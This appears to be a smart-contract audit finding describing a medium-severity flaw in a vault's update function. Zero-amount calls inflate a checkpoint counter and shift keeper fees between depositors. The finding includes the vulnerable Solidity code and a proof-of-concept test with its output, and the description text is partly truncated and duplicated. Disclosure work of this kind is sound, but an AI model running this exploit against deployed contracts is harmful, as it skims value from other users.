MEDIUM severity: The vulnerability is related to the `Vault.update` function, which can be called by any user to incr. The vulnerability is related to the `Vault.update` function, which can be called by any user to increase the `checkpoint.count` without paying the necessary keeper fee. This is possible because the `checkpoint.count` is incremented in the `_socialize` function, which is called during the `update` fu...

Vulnerable code:
```\nif (msg.sender!= account &&!IVaultFactory(address(factory())).operators(account, msg.sender))\n    revert VaultNotOperatorError();\n\nif (!depositAssets.add(redeemShares).add(claimAssets).eq(depositAssets.max(redeemShares).max(claimAssets)))\n    revert VaultNotSingleSidedError();\n\nif (depositAssets.gt(_maxDeposit(context)))\n    revert VaultDepositLimitExceededError();\n\nif (redeemShares.gt(_maxRedeem(context)))\n    revert VaultRedemptionLimitExceededError();\n\nif (!depositAssets.isZero() && depositAssets.lt(context.settlementFee))\n    revert VaultInsufficientMinimumError();\n\nif (!redeemShares.isZero() && context.latestCheckpoint.toAssets(redeemShares, context.settlementFee).isZero())\n    revert VaultInsufficientMinimumError();\n\nif (context.local.current!= context.local.latest)\n    revert VaultExistingOrderError();\n```\n```\nUFixed6 claimAmount = _socialize(context, depositAssets, redeemShares, claimAssets);\n\nfunction _socialize(\n    Context memory context,\n    UFixed6 depositAssets,\n    UFixed6 redeemShares,\n    UFixed6 claimAssets\n) private view returns (UFixed6 claimAmount) {\n    if (context.global.assets.isZero()) {\n        return UFixed6Lib.ZERO;\n    }\n    UFixed6 totalCollateral = UFixed6Lib.from(_collateral(context).max(Fixed6Lib.ZERO));\n    claimAmount = claimAssets.muldiv(totalCollateral.min(context.global.assets), context.global.assets);\n\n    if (depositAssets.isZero() && redeemShares.isZero()) {\n        claimAmount = claimAmount.sub(context.settlementFee);\n    }\n}\n```\n```\nupdate positions\ncontext.global.update(context.currentId, claimAssets, redeemShares, depositAssets, redeemShares);\ncontext.local.update(context.currentId, claimAssets, redeemShares, depositAssets, redeemShares);\ncontext.currentCheckpoint.update(depositAssets, redeemShares);\n\nfunction update(Checkpoint memory self, UFixed6 deposit, UFixed6 redemption) internal pure {\n    (self.deposit, self.redemption) = (self.deposit.add(deposit), self.redemption.add(redemption));\n    self.count++;\n}\n```\n```\nfunction processLocal(\n    Account memory self,\n    uint256 latestId,\n    Checkpoint memory checkpoint,\n    UFixed6 deposit,\n    UFixed6 redemption\n) internal pure {\n    self.latest = latestId;\n    (\n        self.assets,\n        self.shares\n    ) = (\n        self.assets.add(checkpoint.toAssetsLocal(redemption)),\n        self.shares.add(checkpoint.toSharesLocal(deposit))\n    );\n    (\n        self.deposit,\n        self.redemption\n    ) = (self.deposit.sub(deposit), self.redemption.sub(redemption));\n}\n\nfunction _withoutKeeperLocal(Checkpoint memory self, UFixed6 amount) private pure returns (UFixed6) {\n    UFixed6 keeperPer = self.count == 0? UFixed6Lib.ZERO : self.keeper.div(UFixed6Lib.from(self.count));\n    return _withoutKeeper(amount, keeperPer);\n}\n```\n```\nit('inflate checkpoint count', async () => {\n    const settlementFee = parse6decimal('10.00');\n    const marketParameter = await market.parameter();\n    marketParameter.settlementFee = settlementFee;\n    await market.connect(owner).updateParameter(marketParameter);\n\n    const btcMarketParameter = await btcMarket.parameter();\n    btcMarketParameter.settlementFee = settlementFee;\n    await btcMarket.connect(owner).updateParameter(btcMarketParameter);\n\n    const deposit = parse6decimal('10000');\n    await vault.connect(user).update(user.address, deposit, 0, 0);\n    await updateOracle();\n    await vault.settle(user.address);\n\n    const deposit2 = parse6decimal('10000');\n    await vault.connect(user2).update(user2.address, deposit2, 0, 0);\n\n    // inflate checkpoint.count\n    await vault.connect(btcUser1).update(btcUser1.address, 0, 0, 0);\n    await vault.connect(btcUser2).update(btcUser2.address, 0, 0, 0);\n\n    await updateOracle();\n    await vault.connect(user2).settle(user2.address);\n\n    const checkpoint2 = await vault.checkpoints(3);\n    console.log("checkpoint count = " + checkpoint2.count);\n\n    const account = await vault.accounts(user.address);\n    const assets = await vault.convertToAssets(account.shares);\n    console.log("User shares:" + account.shares + " assets: " + assets);\n\n    const account = await vault.accounts(user2.address);\n    const assets = await vault.convertToAssets(account.shares);\n    console.log("User2 shares:" + account.shares + " assets: " + assets);\n})\n```\n```\ncheckpoint_count = 3\nUser shares: 10000000000 assets: 9990218973\nUser2 shares: 10013140463 assets: 10003346584\n```\n```\ncheckpoint_count = 1\nUser shares: 10000000000 assets: 9990218973\nUser2 shares: 9999780702 assets: 9989999890\n```